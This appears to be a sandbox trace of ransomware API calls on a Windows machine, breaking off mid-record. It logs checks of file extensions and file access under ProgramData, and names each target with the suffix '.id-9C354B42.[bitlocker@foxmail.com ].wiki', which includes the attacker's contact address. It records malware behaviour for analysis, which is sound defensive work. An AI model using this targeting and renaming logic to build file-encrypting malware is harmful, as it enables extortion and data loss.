lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.687] lstrlenW (lpString=".doc") returned 4 [0171.687] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.687] lstrlenW (lpString=".docx") returned 5 [0171.687] lstrcmpiW (lpString1=".docx", lpString2="3.wma") returned -1 [0171.687] lstrlenW (lpString=".pdf") returned 4 [0171.688] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString=".xls") returned 4 [0171.688] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.688] lstrlenW (lpString=".xlsx") returned 5 [0171.688] lstrcmpiW (lpString1=".xlsx", lpString2="3.wma") returned -1 [0171.688] lstrlenW (lpString=".ppt") returned 4 [0171.688] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.688] lstrlenW (lpString=".zip") returned 4 [0171.688] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.688] lstrlenW (lpString=".rar") returned 4 [0171.688] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString=".bz2") returned 4 [0171.688] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString=".7z") returned 3 [0171.688] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.688] lstrlenW (lpString=".dbf") returned 4 [0171.688] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.688] lstrlenW (lpString=".1cd") returned 4 [0171.688] lstrcmpiW (lpString1=".1cd", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.688] lstrlenW (lpString=".jpg") returned 4 [0171.688] lstrcmpiW (lpString1=".jpg", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.688] lstrlenW (lpString=".doc") returned 4 [0171.688] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.688] lstrlenW (lpString=".docx") returned 5 [0171.688] lstrcmpiW (lpString1=".docx", lpString2="3.wma") returned -1 [0171.689] lstrlenW (lpString=".pdf") returned 4 [0171.689] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.689] lstrlenW (lpString=".xls") returned 4 [0171.689] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.689] lstrlenW (lpString=".xlsx") returned 5 [0171.689] lstrcmpiW (lpString1=".xlsx", lpString2="3.wma") returned -1 [0171.689] lstrlenW (lpString=".ppt") returned 4 [0171.689] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.689] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.689] lstrlenW (lpString=".zip") returned 4 [0171.689] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.689] lstrlenW (lpString=".rar") returned 4 [0171.689] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.689] lstrlenW (lpString=".bz2") returned 4 [0171.689] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.689] lstrlenW (lpString=".7z") returned 3 [0171.689] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.689] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.689] lstrlenW (lpString=".dbf") returned 4 [0171.689] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0171.689] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.689] lstrlenW (lpString=".1cd") returned 4 [0171.689] lstrcmpiW (lpString1=".1cd", lpString2=".wma") returned -1 [0171.689] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.689] lstrlenW (lpString=".jpg") returned 4 [0171.689] lstrcmpiW (lpString1=".jpg", lpString2=".wma") returned -1 [0171.690] lstrcmpiW (lpString1=".wma", lpString2=".wiki") returned 1 [0171.690] lstrlenW (lpString="Ringtone 04.wma") returned 15 [0171.690] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.690] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=237625) returned 1 [0171.691] CloseHandle (hObject=0x1b4) returned 1 [0171.691] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma")) returned 0x20 [0171.691] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.691] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.691] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned 58 [0171.691] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned 58 [0171.691] lstrlenW (lpString=".doc") returned 4 [0171.691] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.691] lstrlenW (lpString=".docx") returned 5 [0171.691] lstrcmpiW (lpString1=".docx", lpString2="4.wma") returned -1 [0171.691] lstrlenW (lpString=".pdf") returned 4 [0171.691] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.691] lstrlenW (lpString=".xls") returned 4 [0171.691] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.691] lstrlenW (lpString=".xlsx") returned 5 [0171.691] lstrcmpiW (lpString1=".xlsx", lpString2="4.wma") returned -1 [0171.691] lstrlenW (lpString=".ppt") returned 4 [0171.691] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.691] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned 58 [0171.691] lstrlenW (lpString=".zip") returned 4 [0171.691] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.691] lstrlenW (lpString=".rar") returned 4 [0171.691] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.691] lstrlenW (lpString=".bz2") returned 4 [0171.691] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.692] lstrlenW (lpString=".7z") returned 3 [0171.692] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.692] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned 58 [0171.692] lstrlenW (lpString=".dbf") returned 4 [0171.692] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0172.631] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1290) returned 1 [0172.631] CloseHandle (hObject=0x334) returned 1 [0172.632] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk")) returned 0x20 [0172.632] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.632] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\dfrgui.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.632] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1114) returned 1 [0172.632] CloseHandle (hObject=0x334) returned 1 [0172.632] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk")) returned 0x20 [0172.632] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.632] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.633] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1304) returned 1 [0172.633] CloseHandle (hObject=0x334) returned 1 [0172.633] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk")) returned 0x20 [0172.633] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.633] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.633] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1248) returned 1 [0172.633] CloseHandle (hObject=0x334) returned 1 [0172.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk")) returned 0x20 [0172.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.634] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Create Recovery Disc.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\create recovery disc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.634] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1212) returned 1 [0172.634] CloseHandle (hObject=0x334) returned 1 [0172.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk")) returned 0x20 [0172.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.634] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Remote Assistance.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\remote assistance.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.821] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1345) returned 1 [0172.821] CloseHandle (hObject=0x320) returned 1 [0172.821] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk")) returned 0x20 [0172.821] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.821] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.962] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=3026) returned 1 [0172.962] CloseHandle (hObject=0x334) returned 1 [0172.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk")) returned 0x20 [0172.966] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.966] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.967] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1246) returned 1 [0172.967] CloseHandle (hObject=0x334) returned 1 [0172.967] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk")) returned 0x20 [0172.967] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.967] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.967] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1266) returned 1 [0172.967] CloseHandle (hObject=0x334) returned 1 [0172.967] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk")) returned 0x20 [0172.967] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.968] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.969] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=390) returned 1 [0172.969] CloseHandle (hObject=0x334) returned 1 [0172.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn")) returned 0x2022 [0172.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\hx.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.969] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.969] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=326) returned 1 [0172.969] CloseHandle (hObject=0x334) returned 1 [0172.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn")) returned 0x2022 [0172.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.970] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.970] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=350) returned 1 [0172.970] CloseHandle (hObject=0x334) returned 1 [0172.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn")) returned 0x2022 [0172.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.970] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.358] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=326) returned 1 [0173.358] CloseHandle (hObject=0x1a0) returned 1 [0173.358] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn")) returned 0x2022 [0173.358] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.358] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.358] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=463016) returned 1 [0173.358] CloseHandle (hObject=0x1a0) returned 1 [0173.359] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe")) returned 0x20 [0173.359] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.359] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.938] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1292987) returned 1 [0173.938] CloseHandle (hObject=0x1a4) returned 1 [0173.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab")) returned 0x20 [0173.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.939] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.939] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1034506) returned 1 [0173.939] CloseHandle (hObject=0x1a4) returned 1 [0173.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab")) returned 0x20 [0173.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.940] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.940] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=143360) returned 1 [0173.940] CloseHandle (hObject=0x1a4) returned 1 [0173.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi")) returned 0x20 [0173.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.940] CreateFileW (lpFileName="C:\\ProgramData\\Package 